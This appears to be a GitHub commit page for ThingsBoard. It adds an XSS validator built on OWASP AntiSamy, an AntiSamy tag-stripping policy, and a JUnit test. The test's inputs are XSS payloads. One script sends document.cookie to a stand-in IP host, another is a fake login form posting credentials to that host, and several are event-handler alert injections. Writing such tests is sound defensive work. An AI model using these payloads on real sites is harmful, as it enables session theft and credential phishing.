Browse Source
* Provide additional validation for entities * Refactor * Create test for NoXssValidator * Refactor dependenciespull/4345/head
committed by
GitHub
29 changed files with 650 additions and 11 deletions
@ -0,0 +1,34 @@ |
|||
/** |
|||
* Copyright © 2016-2021 The Thingsboard Authors |
|||
* |
|||
* Licensed under the Apache License, Version 2.0 (the "License"); |
|||
* you may not use this file except in compliance with the License. |
|||
* You may obtain a copy of the License at |
|||
* |
|||
* http://www.apache.org/licenses/LICENSE-2.0
|
|||
* |
|||
* Unless required by applicable law or agreed to in writing, software |
|||
* distributed under the License is distributed on an "AS IS" BASIS, |
|||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
|||
* See the License for the specific language governing permissions and |
|||
* limitations under the License. |
|||
*/ |
|||
package org.thingsboard.server.common.data.validation; |
|||
|
|||
import javax.validation.Constraint; |
|||
import javax.validation.Payload; |
|||
import java.lang.annotation.ElementType; |
|||
import java.lang.annotation.Retention; |
|||
import java.lang.annotation.RetentionPolicy; |
|||
import java.lang.annotation.Target; |
|||
|
|||
@Retention(RetentionPolicy.RUNTIME) |
|||
@Target(ElementType.FIELD) |
|||
@Constraint(validatedBy = {}) |
|||
public @interface NoXss { |
|||
String message() default "field value is malformed"; |
|||
|
|||
Class<?>[] groups() default {}; |
|||
|
|||
Class<? extends Payload>[] payload() default {}; |
|||
} |
|||
@ -0,0 +1,57 @@ |
|||
/** |
|||
* Copyright © 2016-2021 The Thingsboard Authors |
|||
* |
|||
* Licensed under the Apache License, Version 2.0 (the "License"); |
|||
* you may not use this file except in compliance with the License. |
|||
* You may obtain a copy of the License at |
|||
* |
|||
* http://www.apache.org/licenses/LICENSE-2.0
|
|||
* |
|||
* Unless required by applicable law or agreed to in writing, software |
|||
* distributed under the License is distributed on an "AS IS" BASIS, |
|||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
|||
* See the License for the specific language governing permissions and |
|||
* limitations under the License. |
|||
*/ |
|||
package org.thingsboard.server.dao.service; |
|||
|
|||
import com.google.common.io.Resources; |
|||
import lombok.extern.slf4j.Slf4j; |
|||
import org.owasp.validator.html.AntiSamy; |
|||
import org.owasp.validator.html.Policy; |
|||
import org.owasp.validator.html.PolicyException; |
|||
import org.owasp.validator.html.ScanException; |
|||
import org.thingsboard.server.common.data.validation.NoXss; |
|||
|
|||
import javax.validation.ConstraintValidator; |
|||
import javax.validation.ConstraintValidatorContext; |
|||
|
|||
@Slf4j |
|||
public class NoXssValidator implements ConstraintValidator<NoXss, Object> { |
|||
private static final AntiSamy xssChecker = new AntiSamy(); |
|||
private static Policy xssPolicy; |
|||
|
|||
@Override |
|||
public void initialize(NoXss constraintAnnotation) { |
|||
if (xssPolicy == null) { |
|||
try { |
|||
xssPolicy = Policy.getInstance(Resources.getResource("xss-policy.xml")); |
|||
} catch (Exception e) { |
|||
log.error("Failed to set xss policy: {}", e.getMessage()); |
|||
} |
|||
} |
|||
} |
|||
|
|||
@Override |
|||
public boolean isValid(Object value, ConstraintValidatorContext constraintValidatorContext) { |
|||
if (!(value instanceof String) || ((String) value).isEmpty() || xssPolicy == null) { |
|||
return true; |
|||
} |
|||
|
|||
try { |
|||
return xssChecker.scan((String) value, xssPolicy).getNumberOfErrors() == 0; |
|||
} catch (ScanException | PolicyException e) { |
|||
return false; |
|||
} |
|||
} |
|||
} |
|||
@ -0,0 +1,162 @@ |
|||
<?xml version="1.0" encoding="UTF-8" ?> |
|||
<!-- |
|||
|
|||
Copyright © 2016-2021 The Thingsboard Authors |
|||
|
|||
Licensed under the Apache License, Version 2.0 (the "License"); |
|||
you may not use this file except in compliance with the License. |
|||
You may obtain a copy of the License at |
|||
|
|||
http://www.apache.org/licenses/LICENSE-2.0 |
|||
|
|||
Unless required by applicable law or agreed to in writing, software |
|||
distributed under the License is distributed on an "AS IS" BASIS, |
|||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
|||
See the License for the specific language governing permissions and |
|||
limitations under the License. |
|||
|
|||
--> |
|||
<anti-samy-rules> |
|||
|
|||
<directives> |
|||
<directive name="omitXmlDeclaration" value="true"/> |
|||
<directive name="omitDoctypeDeclaration" value="false"/> |
|||
<directive name="maxInputSize" value="100000"/> |
|||
<directive name="embedStyleSheets" value="false"/> |
|||
<directive name="useXHTML" value="true"/> |
|||
<directive name="formatOutput" value="true"/> |
|||
</directives> |
|||
|
|||
<common-regexps> |
|||
|
|||
<!-- |
|||
From W3C: |
|||
This attribute assigns a class name or set of class names to an |
|||
element. Any number of elements may be assigned the same class |
|||
name or names. Multiple class names must be separated by white |
|||
space characters. |
|||
--> |
|||
<regexp name="htmlTitle" value="[a-zA-Z0-9\s\-_',:\[\]!\./\\\(\)&]*"/> |
|||
|
|||
<!-- force non-empty with a '+' at the end instead of '*' |
|||
--> |
|||
<regexp name="onsiteURL" value="([\p{L}\p{N}\p{Zs}/\.\?=&\-~])+"/> |
|||
|
|||
<!-- ([\w\\/\.\?=&;\#-~]+|\#(\w)+) |
|||
--> |
|||
|
|||
<!-- ([\p{L}/ 0-9&\#-.?=])* |
|||
--> |
|||
<regexp name="offsiteURL" |
|||
value="(\s)*((ht|f)tp(s?)://|mailto:)[A-Za-z0-9]+[~a-zA-Z0-9-_\.@\#\$%&;:,\?=/\+!\(\)]*(\s)*"/> |
|||
</common-regexps> |
|||
|
|||
<common-attributes> |
|||
|
|||
<attribute name="lang" |
|||
description="The 'lang' attribute tells the browser what language the element's attribute values and content are written in"> |
|||
|
|||
<regexp-list> |
|||
<regexp value="[a-zA-Z]{2,20}"/> |
|||
</regexp-list> |
|||
</attribute> |
|||
|
|||
<attribute name="title" |
|||
description="The 'title' attribute provides text that shows up in a 'tooltip' when a user hovers their mouse over the element"> |
|||
|
|||
<regexp-list> |
|||
<regexp name="htmlTitle"/> |
|||
</regexp-list> |
|||
</attribute> |
|||
|
|||
<attribute name="href" onInvalid="filterTag"> |
|||
|
|||
<regexp-list> |
|||
<regexp name="onsiteURL"/> |
|||
<regexp name="offsiteURL"/> |
|||
</regexp-list> |
|||
</attribute> |
|||
|
|||
<attribute name="align" |
|||
description="The 'align' attribute of an HTML element is a direction word, like 'left', 'right' or 'center'"> |
|||
|
|||
<literal-list> |
|||
<literal value="center"/> |
|||
<literal value="left"/> |
|||
<literal value="right"/> |
|||
<literal value="justify"/> |
|||
<literal value="char"/> |
|||
</literal-list> |
|||
</attribute> |
|||
<attribute name="style" |
|||
description="The 'style' attribute provides the ability for users to change many attributes of the tag's contents using a strict syntax"/> |
|||
</common-attributes> |
|||
|
|||
<global-tag-attributes> |
|||
<attribute name="title"/> |
|||
<attribute name="lang"/> |
|||
<attribute name="style"/> |
|||
</global-tag-attributes> |
|||
|
|||
<tags-to-encode> |
|||
<tag>g</tag> |
|||
<tag>grin</tag> |
|||
</tags-to-encode> |
|||
|
|||
<tag-rules> |
|||
|
|||
<tag name="script" action="remove"/> |
|||
<tag name="noscript" action="remove"/> |
|||
<tag name="iframe" action="remove"/> |
|||
<tag name="frameset" action="remove"/> |
|||
<tag name="frame" action="remove"/> |
|||
<tag name="noframes" action="remove"/> |
|||
<tag name="head" action="remove"/> |
|||
<tag name="title" action="remove"/> |
|||
<tag name="base" action="remove"/> |
|||
<tag name="style" action="remove"/> |
|||
<tag name="link" action="remove"/> |
|||
<tag name="input" action="remove"/> |
|||
<tag name="textarea" action="remove"/> |
|||
|
|||
<tag name="br" action="remove"/> |
|||
|
|||
<tag name="p" action="remove"/> |
|||
<tag name="div" action="remove"/> |
|||
<tag name="span" action="remove"/> |
|||
<tag name="i" action="remove"/> |
|||
<tag name="b" action="remove"/> |
|||
<tag name="strong" action="remove"/> |
|||
<tag name="s" action="remove"/> |
|||
<tag name="strike" action="remove"/> |
|||
<tag name="u" action="remove"/> |
|||
<tag name="em" action="remove"/> |
|||
<tag name="blockquote" action="remove"/> |
|||
<tag name="tt" action="remove"/> |
|||
|
|||
<tag name="a" action="remove"/> |
|||
|
|||
<tag name="ul" action="remove"/> |
|||
<tag name="ol" action="remove"/> |
|||
<tag name="li" action="remove"/> |
|||
<tag name="dl" action="remove"/> |
|||
<tag name="dt" action="remove"/> |
|||
<tag name="dd" action="remove"/> |
|||
</tag-rules> |
|||
|
|||
<css-rules> |
|||
<property name="text-decoration" default="none" |
|||
description=""> |
|||
|
|||
<category-list> |
|||
<category value="visual"/> |
|||
</category-list> |
|||
|
|||
<literal-list> |
|||
<literal value="underline"/> |
|||
<literal value="overline"/> |
|||
<literal value="line-through"/> |
|||
</literal-list> |
|||
</property> |
|||
</css-rules> |
|||
</anti-samy-rules> |
|||
@ -0,0 +1,52 @@ |
|||
/** |
|||
* Copyright © 2016-2021 The Thingsboard Authors |
|||
* |
|||
* Licensed under the Apache License, Version 2.0 (the "License"); |
|||
* you may not use this file except in compliance with the License. |
|||
* You may obtain a copy of the License at |
|||
* |
|||
* http://www.apache.org/licenses/LICENSE-2.0
|
|||
* |
|||
* Unless required by applicable law or agreed to in writing, software |
|||
* distributed under the License is distributed on an "AS IS" BASIS, |
|||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
|||
* See the License for the specific language governing permissions and |
|||
* limitations under the License. |
|||
*/ |
|||
package org.thingsboard.server.dao.service; |
|||
|
|||
import org.junit.jupiter.api.BeforeAll; |
|||
import org.junit.jupiter.params.ParameterizedTest; |
|||
import org.junit.jupiter.params.provider.ValueSource; |
|||
|
|||
import javax.validation.ConstraintValidatorContext; |
|||
|
|||
import static org.junit.jupiter.api.Assertions.assertFalse; |
|||
import static org.mockito.Mockito.mock; |
|||
|
|||
public class NoXssValidatorTest { |
|||
private static NoXssValidator validator; |
|||
|
|||
@BeforeAll |
|||
public static void beforeAll() { |
|||
validator = new NoXssValidator(); |
|||
validator.initialize(null); |
|||
} |
|||
|
|||
@ParameterizedTest |
|||
@ValueSource(strings = { |
|||
"aboba<a href='a' onmouseover=alert(1337) style='font-size:500px'>666", |
|||
"9090<body onload=alert('xsssss')>90909", |
|||
"qwerty<script>new Image().src=\"http://192.168.149.128/bogus.php?output=\"+document.cookie;</script>yyy", |
|||
"bambam<script>alert(document.cookie)</script>", |
|||
"<p><a href=\"http://htmlbook.ru/example/knob.html\">Link!!!</a></p>1221", |
|||
"<h3>Please log in to proceed</h3> <form action=http://192.168.149.128>Username:<br><input type=\"username\" name=\"username\"></br>Password:<br><input type=\"password\" name=\"password\"></br><br><input type=\"submit\" value=\"Log in\"></br>", |
|||
" <img src= \"http://site.com/\" > ", |
|||
"123 <input type=text value=a onfocus=alert(1337) AUTOFOCUS>bebe", |
|||
}) |
|||
public void testIsNotValid(String stringWithXss) { |
|||
boolean isValid = validator.isValid(stringWithXss, mock(ConstraintValidatorContext.class)); |
|||
assertFalse(isValid); |
|||
} |
|||
|
|||
} |
|||
@ -0,0 +1,162 @@ |
|||
<?xml version="1.0" encoding="UTF-8" ?> |
|||
<!-- |
|||
|
|||
Copyright © 2016-2021 The Thingsboard Authors |
|||
|
|||
Licensed under the Apache License, Version 2.0 (the "License"); |
|||
you may not use this file except in compliance with the License. |
|||
You may obtain a copy of the License at |
|||
|
|||
http://www.apache.org/licenses/LICENSE-2.0 |
|||
|
|||
Unless required by applicable law or agreed to in writing, software |
|||
distributed under the License is distributed on an "AS IS" BASIS, |
|||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
|||
See the License for the specific language governing permissions and |
|||
limitations under the License. |
|||
|
|||
--> |
|||
<anti-samy-rules> |
|||
|
|||
<directives> |
|||
<directive name="omitXmlDeclaration" value="true"/> |
|||
<directive name="omitDoctypeDeclaration" value="false"/> |
|||
<directive name="maxInputSize" value="100000"/> |
|||
<directive name="embedStyleSheets" value="false"/> |
|||
<directive name="useXHTML" value="true"/> |
|||
<directive name="formatOutput" value="true"/> |
|||
</directives> |
|||
|
|||
<common-regexps> |
|||
|
|||
<!-- |
|||
From W3C: |
|||
This attribute assigns a class name or set of class names to an |
|||
element. Any number of elements may be assigned the same class |
|||
name or names. Multiple class names must be separated by white |
|||
space characters. |
|||
--> |
|||
<regexp name="htmlTitle" value="[a-zA-Z0-9\s\-_',:\[\]!\./\\\(\)&]*"/> |
|||
|
|||
<!-- force non-empty with a '+' at the end instead of '*' |
|||
--> |
|||
<regexp name="onsiteURL" value="([\p{L}\p{N}\p{Zs}/\.\?=&\-~])+"/> |
|||
|
|||
<!-- ([\w\\/\.\?=&;\#-~]+|\#(\w)+) |
|||
--> |
|||
|
|||
<!-- ([\p{L}/ 0-9&\#-.?=])* |
|||
--> |
|||
<regexp name="offsiteURL" |
|||
value="(\s)*((ht|f)tp(s?)://|mailto:)[A-Za-z0-9]+[~a-zA-Z0-9-_\.@\#\$%&;:,\?=/\+!\(\)]*(\s)*"/> |
|||
</common-regexps> |
|||
|
|||
<common-attributes> |
|||
|
|||
<attribute name="lang" |
|||
description="The 'lang' attribute tells the browser what language the element's attribute values and content are written in"> |
|||
|
|||
<regexp-list> |
|||
<regexp value="[a-zA-Z]{2,20}"/> |
|||
</regexp-list> |
|||
</attribute> |
|||
|
|||
<attribute name="title" |
|||
description="The 'title' attribute provides text that shows up in a 'tooltip' when a user hovers their mouse over the element"> |
|||
|
|||
<regexp-list> |
|||
<regexp name="htmlTitle"/> |
|||
</regexp-list> |
|||
</attribute> |
|||
|
|||
<attribute name="href" onInvalid="filterTag"> |
|||
|
|||
<regexp-list> |
|||
<regexp name="onsiteURL"/> |
|||
<regexp name="offsiteURL"/> |
|||
</regexp-list> |
|||
</attribute> |
|||
|
|||
<attribute name="align" |
|||
description="The 'align' attribute of an HTML element is a direction word, like 'left', 'right' or 'center'"> |
|||
|
|||
<literal-list> |
|||
<literal value="center"/> |
|||
<literal value="left"/> |
|||
<literal value="right"/> |
|||
<literal value="justify"/> |
|||
<literal value="char"/> |
|||
</literal-list> |
|||
</attribute> |
|||
<attribute name="style" |
|||
description="The 'style' attribute provides the ability for users to change many attributes of the tag's contents using a strict syntax"/> |
|||
</common-attributes> |
|||
|
|||
<global-tag-attributes> |
|||
<attribute name="title"/> |
|||
<attribute name="lang"/> |
|||
<attribute name="style"/> |
|||
</global-tag-attributes> |
|||
|
|||
<tags-to-encode> |
|||
<tag>g</tag> |
|||
<tag>grin</tag> |
|||
</tags-to-encode> |
|||
|
|||
<tag-rules> |
|||
|
|||
<tag name="script" action="remove"/> |
|||
<tag name="noscript" action="remove"/> |
|||
<tag name="iframe" action="remove"/> |
|||
<tag name="frameset" action="remove"/> |
|||
<tag name="frame" action="remove"/> |
|||
<tag name="noframes" action="remove"/> |
|||
<tag name="head" action="remove"/> |
|||
<tag name="title" action="remove"/> |
|||
<tag name="base" action="remove"/> |
|||
<tag name="style" action="remove"/> |
|||
<tag name="link" action="remove"/> |
|||
<tag name="input" action="remove"/> |
|||
<tag name="textarea" action="remove"/> |
|||
|
|||
<tag name="br" action="remove"/> |
|||
|
|||
<tag name="p" action="remove"/> |
|||
<tag name="div" action="remove"/> |
|||
<tag name="span" action="remove"/> |
|||
<tag name="i" action="remove"/> |
|||
<tag name="b" action="remove"/> |
|||
<tag name="strong" action="remove"/> |
|||
<tag name="s" action="remove"/> |
|||
<tag name="strike" action="remove"/> |
|||
<tag name="u" action="remove"/> |
|||
<tag name="em" action="remove"/> |
|||
<tag name="blockquote" action="remove"/> |
|||
<tag name="tt" action="remove"/> |
|||
|
|||
<tag name="a" action="remove"/> |
|||
|
|||
<tag name="ul" action="remove"/> |
|||
<tag name="ol" action="remove"/> |
|||
<tag name="li" action="remove"/> |
|||
<tag name="dl" action="remove"/> |
|||
<tag name="dt" action="remove"/> |
|||
<tag name="dd" action="remove"/> |
|||
</tag-rules> |
|||
|
|||
<css-rules> |
|||
<property name="text-decoration" default="none" |
|||
description=""> |
|||
|
|||
<category-list> |
|||
<category value="visual"/> |
|||
</category-list> |
|||
|
|||
<literal-list> |
|||
<literal value="underline"/> |
|||
<literal value="overline"/> |
|||
<literal value="line-through"/> |
|||
</literal-list> |
|||
</property> |
|||
</css-rules> |
|||
</anti-samy-rules> |
|||
Loading…
Reference in new issue